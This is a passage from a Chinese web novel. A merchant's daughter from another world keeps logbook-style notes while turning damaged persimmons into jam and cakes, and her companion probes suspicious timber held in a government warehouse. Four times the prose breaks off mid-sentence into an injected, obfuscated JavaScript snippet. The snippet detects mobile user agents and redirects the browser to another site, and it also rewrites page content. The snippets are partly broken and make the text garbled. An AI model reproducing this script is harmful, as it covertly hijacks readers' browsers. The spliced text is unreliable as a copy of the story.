“那就是原本应该放在成记行仓里的木头,被搬去了官仓,在哪儿呆了多久?”辛圭缓慢概括,并将自己的记录当中的木材运输步骤增加了一步【商州府衙】。 “足足一个月。”账房翻出一页,指给他们看:“这是差役来领货的日子,这是官仓通知我们来取回的日子,中间隔了三十天。” 辛圭看了一眼那页账,下面有个小小的注脚:“按府衙令,暂存官仓一月。” “可是杜掌柜说成记行也催过两次,耽搁是因为商州水大。”辛圭又问。 “是啊。我们去问过两次府衙,”刘掌柜说:“府衙那时候说商州水大,限制出船。因着是冬日,也没什么人来回,就也没闹出多大声量。” “那取回来时,木头看上去怎么样?”辛圭又问。 “看上去还成。”刘掌柜回忆道:“外表看倒是没什么。而且木头一旦入了官仓,我们哪好多问?” “可到了思交镇,就成了被虫蛀的木头。”辛圭喃喃道,咬着笔尾思考。 【新世界责任记录002: A把货给了B,B还给A,A又把货给了C,C坏了,骂A。 推测:B需要查明。 建议:向B的相关负责人员申明,等待相关负责人员处理。】 那么B的相关负责人员是谁呢? 是皇上? “有没有什么方法,可以给皇上递信啊。” 辛圭此言一出,全屋陷入了安静。 “有啊。可以鸣鼓,或者拦圣驾。”方启星打破了这份安静。 “你少说两句!”杜掌柜瞪了方启星一眼,连忙在旁为辛圭解释:“首先呢,这个事儿咱们不确认是府衙出了问题,不能这么贸然。其次,小姐……民不与官斗。如果真的是这个情况,那我们也只好认下。” 辛圭皱着眉,看上去似懂非懂,实际上完全不明白。 【新世界环境记录047: 词汇:民不与官斗。 疑惑:个人理解是胳膊拧不过大腿,但胳膊和腿打架,脑袋为什么不管? 疑惑:都是一个身体的,腿负责走路,胳膊负责拿东西,为什么要打架? 疑惑:既然刘掌柜也觉得官仓可能有问题,为什么不去查呢?为什么会认下呢? 疑惑:既然觉得有问题,为什么还要让思交镇交木材钱呢? 结论:从逻辑的角度上来说,不合理。 调整,使逻辑合理化: 怀疑:杜掌柜、刘掌柜与府衙之间存在秘密接触。表面职业是商人,实际是官府外包谈判单元。 后续措施:私下找温子修和方启星商议,解除胳膊和大腿之间的秘密身份。】 “好。”辛圭乖巧说道,看似已经完全听进去了杜掌柜的劝告。 杜掌柜松了口气,小姐毕竟初出茅庐,还是有很多地方需要提醒。他接着说道:“商州今年柿子的情况不好。” 刘掌柜叹了口气:“你们一路过来,定然也看见了,原本产量就低,如今更是被一场雨砸成了空。商州情况不好,他们自己的营生都顾不过来,我们的生意就难做。” “柿子的事儿……”辛圭缓缓举手,小声说道:“我有个想法。” 刘掌柜第一次见辛圭,原本就觉得只是总号让小姐出来兜一圈,游山玩水的同时还能让各商行见见,从未想过她有什么主意。加上刚才她那番莽撞发言,更是印证了自己的想法。 他有些无奈地看向杜掌柜,谁知杜掌柜却做出一副洗耳恭听的模样,眼神中还充满了鼓励和期待。 刘掌柜心想:“真不愧是在总号也能排上名的杜掌柜,就是会来事儿。” 辛圭从怀里掏出小册子,在上面边写边说:“商州的柿子除了做果干以外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819555|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还可以做成柿饼、柿子酱、柿子糖,我想柿子糕应该也是可以的。现在面临的问题是柿子不是以往那些完整的、品相好的。而且刚才我在看账本的时候,发现柿子在制作运输途中其实花费不少,利润因此变得很薄,为了增加利润,导致产品价格沿途越来越贵。” “对!”方启星听到这里,赞同道:“这里的柿子糖价格和我们淮南差了近乎一倍。在淮南,柿子糖和柿子饼都不是普通人家会吃的东西。” “那么如果……”辛圭在纸上画了一个圈,又画了几笔:“如果我们优化资源利用,把卖不出去的边角料在当地制作成便于储存便于运输的东西,是不是可以降低它们的价格,薄利多销?” “这主意听起来有几分道理。”杜掌柜捏着下巴:“就是姑娘,这优化资源利用是何意?” 辛圭说得激动,这才发觉自己刚才说了光忆星的词语,支支吾吾解释:“就是把已有的资源打散,重新组合,让它们变得更有效。” 刘掌柜可不愿意陪小姑娘玩经商游戏,他泼冷水道:“那咱们是收糖还是收酱,还是收废柿子?万一卖不出去,岂不是都亏在成记行了?以前可从来没有这样的做法。” 从没有过这样的做法啊。 辛圭瞬时就蔫儿了下去。 【光忆星稳定人格维护手册·个人版第十三条:不鼓励突发性的、无确认可能结果的行为。】 “也是……”她缓缓送出一口气。刘掌柜在商州呆了这么久,做了这么久的柿子生意,有那么多经验,在遇到这样的情况时也肯定在努力想办法的。 方启星在旁歪了下头,问刘掌柜:“小姐说得这个法子,你们试过吗?” 见长随随便说话,刘掌柜皱眉,语气也不见得多友善:“以前从未有过这种做法。” “那就是没做过咯。”方启星抱胸:“没做过为什么一上来就说不行?刘掌柜脑子里有算盘,一下子就能核算出来?还是觉得有人比你先想出来了,心里不爽快?” 刘掌柜被他顶了这两句,看向杜掌柜:“你们带出来的长随,就这样说话?!” “刘掌柜息怒,刘掌柜赎罪。”方启星冷笑:“我刚踏上商州土地,不知道这儿的规矩。” “什么规矩?”辛圭震惊,难道新世界在不同的地区还有不同的规矩?自己还没发现? 方启星看向刘掌柜,慢悠悠地说道:“商州的规矩就是‘你配吗’。你看,刘掌柜和府衙不是一模一样?一个是仗着自己是官,把木材拖走,商行想问,府衙就说‘你配吗?’。一个是本地的掌柜,仗着自己有经验,用一句‘从未有这样的做法’搪塞掉,别人要是想再问问,他就会说‘也不看看自己是什么身份,你配吗?’” 辛圭快速记录: 【新世界人际记录018: 关键词:你配吗? 推测1:当逻辑难以被反驳时,有些人会改用“身份验证”终止对话。 推测2:“你配吗?”=请停止思考,这个问题我并不打算解决。】 【新世界环境记录·商州·003: 商州人常用语句:你配吗? 使用场景:无法解决问题的时候。】 18. 第 18 章 “确实。”辛圭抬头,认真地看向刘掌柜:“我也觉得,按照这个规矩,我可能确实不太配说这些。” 这话听上去多多少少有些挑衅的意味,话音一落,成记行分号里的空气便绷紧了。 刘掌柜被气得吹胡子瞪眼,方启星则歪着头,似笑非笑地看回去。 辛圭接着说道:“可是这些柿子更不配一直烂在地里吧。” 外头刚好有人扛着筐路过,脚下一滑,碎柿子溅了一地,橙红的浆糊重重摔开,像是给这句话点了个句号。 方启星第一个笑出来,拍了下柜台:“人配不配先不说,这柿子啊,是真的不配烂。” 前堂几个伙计你看我我看你,其中一个小伙子鼓了鼓腮帮子,也跟着帮腔:“刘掌柜,要不就试试呗,横竖也是烂,烂在地里和烂在锅里,不一样?” “对啊。”另一个附和,他们都是商州本地人,家里的生计没了,心里都不好受:“要是真能卖出去点,咱们这边也不算全白忙活。” 刘掌柜被一圈人这么看着,架子搭了一半,只好往下放:“我不是说一点道理都没有。”他咳了一声,语气放缓了些:“只是这事儿咱们做不得主,而且商州今年明年生意本来就危险,到时候这一摊子账,算在谁头上?” “算在我头上!”辛圭脱口而出。 她的眼神太过灼灼,温麟趾心里微动,他想起出行前德明帝的嘱托,倒也不是让她赚多少钱,亏也可以,只是不好亏太多。 他看了辛圭一眼:“出门前,老爷说小姐可以适当做决定。” 杜掌柜附和:“确实。不然,就只做这一季,设个亏损上限——二十两。”他们心里都清楚,小姐出门是为了历练,日后可以接手成记行,而不是听掌柜的话,做个架子人偶。 刘掌柜下意识要喊太多,但哪里能不明白杜掌柜看来的眼神,只好把话咽回去,改口说道:“那……账得记清楚。” “当然要记清楚。”温麟趾说:“从收多少边角柿子,到做出多少酱多少饼多少糖,到是亏是赚,每一步都要写明白。” 他看着辛圭跃跃欲试的样子,心里觉得有些好笑,便又给她加上一码:“小姐来定收购价、加工法、卖价,写好账本。” “好!”辛圭用力点头。 【柿子专项实验v1.0建立成功 负责人:本人。】 堂里气氛松了些,像有人悄悄拉开一扇小窗,让风透了进来。 既然说了,那就去做。众人又做商议,没过多久便按照各自的分工行事。 晒场比起之前热闹了许多,全因成记行在旁立了块牌子。 牌子不大,字却很好看,是方启星写的:“成记行收柿告示:收摔坏、边角、卖不出的柿子。当日收当日结。条件:不收不干净的,不收变质的。有以坏充好者,下次概不合作。” 辛圭站在木牌旁,袖子挽得老高,腰间挂着随身小口袋,像个不太熟练的“小掌柜”。她思考片刻,拿过笔在牌子上补充了一小行字:“样子不好,味道好。” 刘掌柜还是有些心虚:“姑娘,这样写真的有用?写卖不出去的柿子,会不会惹人不高兴?” “不会。”辛圭摇头,退远一点看招牌:“他们自己比谁都清楚,确实是卖不出去。” 她快步走回来,又在下面加上一行:“让本来要坏掉的柿子,再甜一次!” “行了,别写了。”方启星把笔抢走:“再写就没人敢来卖了,以为你在写祭文呢。” 话虽这么说,他却喊得很起劲儿:“卖不出的柿子来咯!摔坏的,边角料的,收了做酱做饼!卖不掉的甜,成记行帮你卖!” 一开始,没人动。 大家都在旁边看,眼睛里都是大大的疑惑和不解。 直到早晨那个妇人走过来,提着筐:“那个小姑娘——” “在的!”辛圭立刻举手。 妇人把筐往地上一放,“这些是我挑过的,你要是收,我就卖给你。” 辛圭蹲下去看筐里,一半是摔瘪了的,一半是边缘裂了一道口子,果肉露出一线,但胜在干净,扔了也可惜。 “按个算,还是按斤算?”妇人问。 “按斤。”辛圭脱口而出。 她脑子飞快转着:【一斤边角柿子≈四个半柿子。 一锅柿子酱,大概需要二十斤边角柿子,可以抹四十个馒头。 四十个馒头,大概可以养活十个脚夫一顿早饭。】 “市面上完好柿子一斤多少钱?”她问刘掌柜。 “六文。”刘掌柜道,“今年柿子少,价应该再高些。” “那边角柿子,”辛圭算了一下,“可以从半价往下谈——两文一斤。” “那不是不到三成的价?”妇人瞪大眼。 “嗯。”辛圭点头,她是在想办法,却丝毫不觉得自己的定价偏低,也不觉得自己说出去的话不够柔软:“你本来也卖不出去的,现在却能挣些。我们还要负担做酱、做饼、烧柴火、雇人手,如果坏掉则全都算是成记行亏的。” 她停顿一下:“你觉得呢?” 妇人嘴唇动了动,最后说了一句:“给。”她把筐往前一推:“你这个小姑娘,说话比你们掌柜实在,就是不太中听。” “中听不中听的,有用就行。”方启星立刻顺势,“我们姑娘脑子里可是有你们。” 妇人乐了,边笑边抹眼:“你们要是真能做成,我给你们念叨念叨。”她此刻也明白了,眼前的这个小姑娘不是来做慈善的,而是实实在在要做生意想办法的。 辛圭看着妇人,又说:“还想多挣点吗?” 妇人不解,辛圭补充道:“来熬柿子酱,按时辰给工钱。” “成啊!”妇人一口应下。 这一筐成了开头,后面便有人陆续提着小筐大筐过来,态度也从“试试看”变成“晚了就要吃亏了”。 刘掌柜看着那堆本应算作赔钱货的边角料一点点堆高,眼皮直跳:“这……会不会收多了?” “不会。”辛圭摇头:“我们限定今天能做完的量。” 她在本子上飞快写着:【预计加工能力: 今日人手:柿农妇人×3,分号伙计×4,本人×1。 单人每半个时辰可处理边角柿子约15斤。 合计一日处理能力≈8人×15斤×两个半时辰=600斤。 收购上限:600斤。】 “所以今天最多收六百斤。”她抬头:“收够就挂牌:今日已满。” “你这是算出来的?”刘掌柜难以置信,他扭头看向杜掌柜:“小姐这心算,可比我们账房先生还快些。” 杜掌柜骄傲地昂起头:“那是,那可是咱们成记行的小姐。” 柿子很快便收得七七八八,成记行的后院,两口大锅已经架上。 把边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823513|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角柿子洗净,掰开、剔核、挑掉坏得太严重的部分,红橙色的果肉一点点被堆进锅里,被木勺搅拌出一种粘稠的声音。 “火别太大。”妇人在旁指导辛圭:“得慢慢熬,出糖不糊。” 辛圭一边搅,一边将步骤记在心里。热气冲上来,把她的脸烤得微红,额前碎发被热烘地全呲了出来,袖子和前襟都沾上了一圈“柿子印”。 “姑娘,这活儿我来就成。”妇人看不过去:“你身份不一样。” “柿子不认身份。”辛圭老老实实地说:“只认甜不甜。” 妇人愣了一下,笑骂:“嘴倒会说。” 另一边,伙计们在学做柿子饼。 把挑出来还成形的柿子肉压成团,裹上薄薄一层糯米粉,再按扁,放在铁板上烘。糯粉一烘,外面起一层浅浅的壳,里面还是软软的心。 “这个可以卖给谁?”一个伙计问。 “脚夫、车夫、路上的行脚。”方启星抢答。 他当场拿起一板烤好的柿子饼,端到门口叫喊:“完好柿饼一块要三文,太贵舍不得买;这‘成记行柿子饼’同等重量只要一文——脸不好看,心是甜的。几块就能顶半顿饭,多吃点甜的,心情也好,力气也大。” “那你说的挺好听。”有脚夫经过,忍不住抻着脖子问:“真甜吗?” “尝。”方启星二话不说,从烘盘上挑出一块,“免费试吃。” 脚夫接过来咬了一口,眉毛真真切切飞了一下。 “甜。”他含着柿子说话,“感觉烤了比柿子还甜呢。” “那你要不要买一块?”方启星步步紧逼:“今天试行,半价。” “要。”脚夫掏出钱袋,抖了半天,摸出一文铜钱,“给我来几块,拿回家给娃娃尝尝。” “成交。”方启星一手接钱,一手把几块柿子饼包在油纸里,“记住,以后想吃甜的,认准咱们成记行的小旗子。” 没过一会儿,他抱着销售一空的烘盘回来,递到辛圭面前:“卖了六文。” 辛圭放下木勺,快速在本子上一条条写下: 【销售记录001: 产品:成记行柿子饼。 成本估算:边角柿子0.2斤+糯米粉少许+煤炭+人工≈成本0.5文。 试行售价:1文。 毛利≈0.5文。 备注:可惜我没有亲自去售卖,不然可以切实感受对方的情绪场。】 “这还只是试行价。”方启星在旁小声对她说:“真要长期做,还得看路上的行情。” “所以才要收集记录。”辛圭点头:“我们可以试几天,再调整。” 他看着她头发上沾着橙红的柿子汁,脸上黑一块白一块的,衣服也是为了方便扎了起来,笑道:“你现在这样子,一点不像娇养在内院的小姐,倒像是被压榨的伙计。” “那我以后是不是能领伙计的工钱?”辛圭脱口而出。 “你要是愿意的话。”方启星笑着伸手,给她抹去额发上的一点橙红:“我想刘掌柜做梦都愿意。” 温麟趾站在不远处烘烤柿饼,身边是干的热火朝天的伙计和妇人,一筐筐原本认为是无用之物的柿子被快速消耗下去,被改造成其他的模样。 他回头看了一眼,只觉得此刻的李成圭已经和自己记忆中的公主殿下完全成了两个人。而自己,似乎也和记忆中的自己,成了两个完全不同的人。 19. 第 19 章 至于究竟是哪里不同,温麟趾自己也说不上来。 一群人忙到日头偏西,第一锅柿子酱终于熬成。 厚厚一层橙红色,表面闪着光泽,勺子划过,留下的痕迹不会立刻合拢,边缘被阳光一照,像一大块美轮美奂的名贵宝石。 “可以装了。”妇人确认过后说道。 他们又把柿子酱装进小瓷罐里,每罐装得刚刚好,不多不少。酒楼用剩的旧罐子,经过清洗晾干,在这里又有了新用途。 “这一罐得卖多少钱?”伙计问。 辛圭算了一下原料、柴火、罐子、人工,再偷偷加上很小很小的一点“试错费”:“两文一罐。” “不会太低吗?”刘掌柜皱眉。 “不会。”辛圭摇头:“这批原料本来没人要,我们把它变成了能吃的东西。它不是跟好柿子抢价,而是跟‘没甜吃’抢。” 【定价策略001: 目标客群:嘴馋又手头紧。 原则:比“没有选择”好一些,比“原来吃不起的甜”便宜一些。】 第一罐柿子酱被方启星拿出去,送给从京城一道来的车夫。 “试试?”他把罐递过去,“咱们成记行做的新东西。” 车夫狐疑地打开,手指沾了一点往嘴里送,眼神慢慢亮起来:“这东西抹馒头肯定好吃。” “那你和其他车夫聊天的时候,给咱们自己推销推销。”方启星顺势说道:“等这几罐卖完,看亏不亏,我们再决定做不做下一锅。” 车夫哈哈一笑:“行!他们都是常跑路的,带点甜滋味的东西肯定乐意。” 院子里,锅里的余温还在。 辛圭坐在小板凳上,把今天的记录一条条整理好,末尾写了一行小小的总结: 【柿子专项实验·v0.1当日总结: 1.实收边角柿子:580斤(未超上限)。 2.初步加工成果:柿子饼120份,柿子酱罐装40罐。 3.当日销售:饼36份,酱7罐。 4.亏损/盈利:待结算。 备注:做生意一点都不甜,赚得也不多。】 但是……辛圭看着这一行,忍不住在旁边画了个小小的红圈。 【新世界决策记录008: 第一次做一件明知道“可能会赔钱”的事,心情:紧张+兴奋+一点点骄傲。】 温麟趾见她一个人坐在屋内算账,便拿着药箱走过来说:“该换药了。” 辛圭抬头“哦”了一声,脸上还带着喜气,双眼亮晶晶的,温麟趾好像被晃到了,不由自主地移开视线,然后目光就落在了那几十文钱的记录上。 过了片刻,温麟趾缓缓说道:“你知道这么忙活,其实赚不了多少银子吗?” 虽然不能说是讨厌,但他确实不喜欢惺惺作态的善良,而上位者偏偏最喜欢给泥胎塑金,大动干戈后只留下满地的泥和被藏在口袋里的金。 辛圭点了点头:“我知道的,我算过啦。” “你知道成记行本身赚得要更多吗?”温麟趾解下她那条粉紫色亮得碍眼的丝巾。 辛圭歪着头:“我知道呀,但那是对成记行来说,一文钱两文钱可能不值得成记行大动干戈做点生意,可一文钱两文钱对我来说,却很值得。” 因为是我第一次自己做决定,因为是我自己第一次试着提出自己的看法,因为是我第一次没有被系统指出不合理和不稳定。 温麟趾拆下纱布,昨夜的伤口在此刻反而看得更清楚了,不算短的一条,深褐色裹在上面,显得脖颈皮肤愈发白了。 对比是一件可怕的东西。温麟趾亦不能幸免,他指尖轻轻触碰到辛圭的皮肤上,觉得一团热顺着指尖,不讲道理地往自己身上冲。 “如果只是可怜这里的柿农,或许有其他的办法。”温麟趾说道,他试着去平息那团冲到心里的燥热。 辛圭眨了眨眼,停滞片刻后说:“与其说可怜柿农,不如说我更可怜柿子。柿子们真的很努力地在成长,即使环境不好,他们也很努力了。不能因为长得不尽人意,就觉得它们没用了吧。” 可怜柿子吗? 温麟趾嘴角勾了勾,难得露出一丝笑容:“柿农在你心里竟然比不过柿子?” “柿农和柿子不一样。”辛圭觉得脖颈上的皮肤有些痒,但又怕影响温麟趾换药,便忍住不动。“你们也说了,柿农到时候还是要种小麦的,也就是说,他们是有别的生活的。可是柿子的生活,就只有这么一会儿。” “我不明白。”温麟趾越听越觉得有趣味,李成圭的想法确实稀奇古怪,但却不能说毫无道理。 辛圭没忍住,摇了摇头,感觉碰到了温麟趾的手指,冰冰凉的,她觉得很舒服,下意识地往那边蹭了蹭。 “柿子就是柿子,只要是柿子就都是好柿子。做成柿子酱的柿子是好柿子,做成柿子糖的柿子也是好柿子,烂在地里的柿子,也是好柿子。” 温麟趾看着李成圭像只猫一样蹭在自己手背上,咽了下口水,又舍不得将手抽回来。 “它们是柿子,就足够了。”辛圭一锤定音地说道:“至于别的什么要求,那是柿农塞给柿子的。” 她一口气说了好多柿子,说得温麟趾脑子里已经全都是柿子了。 “至于柿农嘛。”辛圭接着说道:“我们不是在想办法嘛。如果以后也有这样的天气,我们就可以复制这样的行为!以后他们遇到什么,也会第一时间想到成记行的。” 温麟趾无奈笑笑,却突然恍然,自己又何尝不是柿农?只关注今年的收成,今年的天气,却从不去看看每一颗柿子。 他还在发散和沉思,辛圭却突然说道:“温子修,你为什么突然情绪动荡的这么厉害?是我的伤口恶化了吗?” 温麟趾猛然回神,火速上好药,又换了新的纱布:“没有,伤口恢复地还可以,但因为天气本来就热,你还拿了块丝巾捂住,对恢复无益。” “嗯,那明天不戴了。”辛圭说道。 “成圭!”方启星迈着轻快的步伐走了进来,将布包里的文钱放在桌上:“又卖出去五瓶柿子酱!” 辛圭郑重地点了点头,看向方启星的眼神中充满了肯定:“不愧是你!我现在正式任命你为柿子实验项目的销售负责人!” “哇!那我还需要继续努力!不负所托!”方启星跟着辛圭演了起来,两个人笑在了一处。 温麟趾没说话,只是静静地看着他们。 辛圭清了清嗓子,说道:“我有件事儿,想和你们两个讨论。” 见她神情严肃,方启星也跟着严肃起来:“负责人请说。” 辛圭往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827723|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后坐了坐,一手捧着茶,一手敲在桌面上:“关于思交镇的木材,我怀疑杜掌柜和刘掌柜和商州府衙之间存在着秘密接触。” “这怎么说?”温麟趾和方启星互相看了一眼,不解地问。 辛圭往前弯了下腰,压低声音:“你们想。从责任链条来说,成记行把货给了官仓,官仓把木材还给成记行,成记行又运给思交镇。成记行说木材没问题,思交镇却说木材有问题,那么问题可能出现在哪里?” 方启星答:“官仓。” 辛圭一拍桌子:“对!但刘掌柜和杜掌柜却不去查,而是就这么算了,为什么?难道不是因为他们私下……” “咳咳……”温麟趾清了清嗓子。 方启星哈哈大笑起来:“当然不是。” “那是什么?”辛圭瞪大了眼睛,“虽然我也不想怀疑杜掌柜和刘掌柜,但他们两个很可疑啊,不然这个线我就卡在这里了。” 方启星解释道:“今天刘掌柜不是给你上过课了吗?简单地说,就是你没有文书,只是自己想去查官仓,就是去撞一堵‘你配吗’做的墙。” “那就不能查吗?”辛圭不死心。 “能。”温麟趾斩钉截铁地说道:“但不能用你说的伸冤的方式去查。首先,我们没有证据说一定是官仓有问题。其次,就算你成功了,皇上注意到你了,但搞得这么大张旗鼓,如果对方真的做了什么坏事,怎么会留下把柄给你呢?” 辛圭撅起嘴:“可是想查官仓,需要证据。但如果有了证据,我们干嘛还要查官仓呢?这是一个死结。” 在光忆星,是要报BUG的!!! “想要证据,当然有办法。”温麟趾说道:“只要去看。” “官仓里不让看啊。”方启星冷笑一声:“人家一根藤条敲地上,你就得滚。” “所以去看的,不是官仓里面。”温麟趾起身,在桌上比划了一圈:“是官仓外头——当初暂存木料的岸边、桩位,那段时间附近的脚夫、船家,还有,看有没有‘莫名其妙多出来又莫名其妙消失’的木头。” 他说到这里,抬眼看向辛圭:“接下来要做的事,不适合你。” “为什么?”辛圭下意识问,“我负责的实验不止有柿子!” “你已经被人挟持过一次。”温麟趾说得很平静:“你仔细想想,咱们从在京城准备出发一共几日,出发当日晚上思交镇的人就在槐山渡做好了挟持你的准备。他们是未卜先知吗?还是有人提前告诉他们了呢?” “挟持一次,就会有第二次。”温麟趾淡淡道,“所以,去官仓附近的是我。” 辛圭抓了抓袖子,还是忍不住问:“那……会不会很危险?” 温子修难得停顿了一瞬:“会。” “那——” “但总要有人去做这件事。”他打断她:“你可以把它记在本子上,看看它是不是可以补完你的疑惑。你只需要做好一件事。把你要做的柿子实验,做明白。” “……好。”辛圭小声应道。 她忽然意识到,自己是第一次被明确地分配了“只能由我来做”的任务,而不是“谁来做都可以”的那种。 【新世界决策记录007: 任务分配: 安全负责人:温麟趾。 柿子专项实验:本人。】 20. 第 20 章 雨后的商州,早晨并不清爽。 云层像是被打散又捏回去凑整的棉絮,沉甸甸地落在屋顶,阳光透不下来,只在周边勉强照出一圈灰白。 成记行商州分号的后院里,昨日那两口大锅已经凉透,锅壁上凝着一层薄薄的柿子糖衣。 院子中央,多了一块板子,上面写着几行字: 【柿子专项实验第一大版第一小更新当日计划: 1.收边角料柿子≤600斤。 2.柿子酱:目标罐数≥40。 3.柿子饼:目标份数≥120。 4.今日注意事项:罐子数量不够;人手可能不够;本人手酸。】 字迹端正,最后那一条却明显带了点怨气。 辛圭背着手,端详自己的日度计划表,怨气化作了满意——这是她第一次在新世界立起了一块“任务看板”! 她多想上去抱抱这块任务看板,告诉它自己看见它是多么有安全感,内心多么稳定。 “成圭!”方启星扛着一捆柴从前院进来,一边走一边笑:“你这个‘本人手酸’未免也太过实诚了,会被人笑的。” 辛圭纠正:“不会的,它是基于事实的记录。” 【新世界本人记录规范001:事实就是事实,不因为难看就不写。】 刘掌柜从堂里走出来,打了个哈欠:“昨夜睡得早,今早就有脚夫来问柿子饼还没有没有,你这实验,可是给我找了份新差事。” 嘴上嫌麻烦,眼底却是藏不住的精神抖擞。 辛圭听了眼睛一亮:“他们说味道怎么样?!” “说甜。”刘掌柜哼了一声,刀子嘴豆腐心:“还说吃着顶饿,比他们嚼干饼强。” 辛圭在心里给自己竖了个大拇指,方向没错!你真棒! “就是大伙儿呢,也有几件事儿和小姐你汇报。”刘掌柜让出身后的人。 账房率先冲出来:“昨天那批旧罐子用的七七八八了,酒楼也没有那么多罐子用,要是继续熬柿子酱,就得花钱买新罐子了,那成本就高了。” “人手也差点。”妇人嗓门不高,但挤得靠前:“昨天熬了一下午,今儿我的手还抬不起来。你要我今天还按照昨天的量来坐,我这把老骨头,恐怕就得打进去。” 一个伙计在一旁揉肩:“这牌子上说的真是大实话,我手也酸。” 辛圭认真点头,走到牌子边上:“各位,你们的问题我也深有体会。所以我们今天,不必按照昨天的量做。” 刘掌柜看到那牌子上的字,眉毛扬起,没想到小姐的心血来潮还挺周全的。 “看。”辛圭指着上面的字:“今天我们进行柿子大版本第一次小更新。”为了让所有人能看懂,她特地把v1.1改成了新世界的用语。 辛圭慢条斯理地说道:“昨天是试运行,今天我们可以刻意减一点量,把人手和罐子的缺口算进去。比如柿子酱少做一部分,容易点的柿子饼多做一些。饼不用罐子,卖的也更快。如果还有人需要酱,我们可以回收已经用完了的罐子,也允许他们使用自己的容器。” 温麟趾站在廊下,安静地看着这一切。原来她不只是说说,而是真的在学习如何进行调整。 如果泥塑不需要金身,那就换成其他的;如果泥不想被塑成菩萨,那也可以做地里的土。 他稍作停顿,转身走出了成记行——还有其他的事情在等着他。 商州的码头离城门不远,却比城里更潮,更闷。 雨水已经退去,但河面仍旧高得吓人,浑黄的水推着木屑和树枝往下游滚,将岸边的石阶没得只剩两节。 几名脚夫正合力往上拖一筐货,骂着:“这鬼天气,再来一场雨,船都得翻。” 温麟趾衣着素净,他昨晚已经去官仓外看过,也略作打听,此时来到码头旁只是为了确认。 “大哥。”温麟趾走到脚夫身旁,说道:“我们行里有些货,想要运到思交镇,第一次来商州,想打听打听咱们这儿的码头,是自己找人装货卸货还是码头有脚夫?” 其中一人上下打量他,看着眼生,想是第一次来,不熟悉也正常,便说:“我们码头有脚夫,你们到时候只要付银子就行了。” “行。”温麟趾点头:“商州最近水大,我们也愁难找到经验丰富的,万一货掉到水里淹了泡了的。” “那你放心,我们都在这儿呆了有年头了,商州什么样的水没见过。”脚夫问道:“你们什么货啊?” “木材。”温麟趾答道。 几个脚夫互相看了一眼:“木材?送到思交镇?” “是啊,思交镇不是有木工师傅嘛。”温麟趾将他们的神色变化收入眼底,叹了一口气道:“其实我也劝我们掌柜的,不要送去思交镇,谁不知道思交镇去年做的那批桩子质量差?挣黑心钱。但我们掌柜的就觉得近,能省钱。到时候出了事儿,又要埋怨。” “思交镇……”有一个脚夫要说点什么,被边上的脚夫用胳膊肘捅了一下,立马闭上了嘴。 “怎么?有说法?”温麟趾装作好奇地问。 “没说法。”一个脚夫摇了摇头:“你们来货,我们只管搬,其他的一律不知道。” 脚夫再也不理温麟趾,搬完货快速地离开了码头。此刻太阳勉强探出一点头,把河面照出一条浅浅的线。 ## 此时在成记行分号后院,火升的正旺。妇人教着两名伙计如何控火,其他人动作也娴熟许多,好像手里拿的不是软绵绵的柿子,而是什么好切好拿的大萝卜。 辛圭袖子挽得更高,她今日雄心壮志,开启了自己的新产品草案计划,要试着做保质期更长的柿子干。 她把一块块切好的柿子条摆在竹筛上,再搬到廊下:“风要吹一吹它们,太阳再晒一晒它们,才会变成新的东西。” 刘掌柜在廊下看着她,忍不住感叹:“这哪里想是成记行的大小姐。” 辛圭转头,认真问道:“刘叔,你会不会觉得我事儿太多?” 刘掌柜想起自己昨天说的话,有些羞愧:“多的好,起码大家忙得有盼头。” 他没说出口的是,对于商州成记行来说,对于这里的柿农来说,这一季原本已经在他们的账面上被当成了损失。如今,至少有一小部分,被硬生生从损失那一栏挪回了进项。 辛圭听完,在心里记下: 【新世界反馈记录010:当别人说‘忙得有盼头’,说明你做的事至少有一部分是对的。】 而这些,是永远不会出现在光忆星的系统手册里的。 ## 北方天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833532|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑的早,傍晚时分,商州府衙内就点起了灯。外院雨水冲刷过的石板路还浸着水,厅里焚起了淡淡的香。 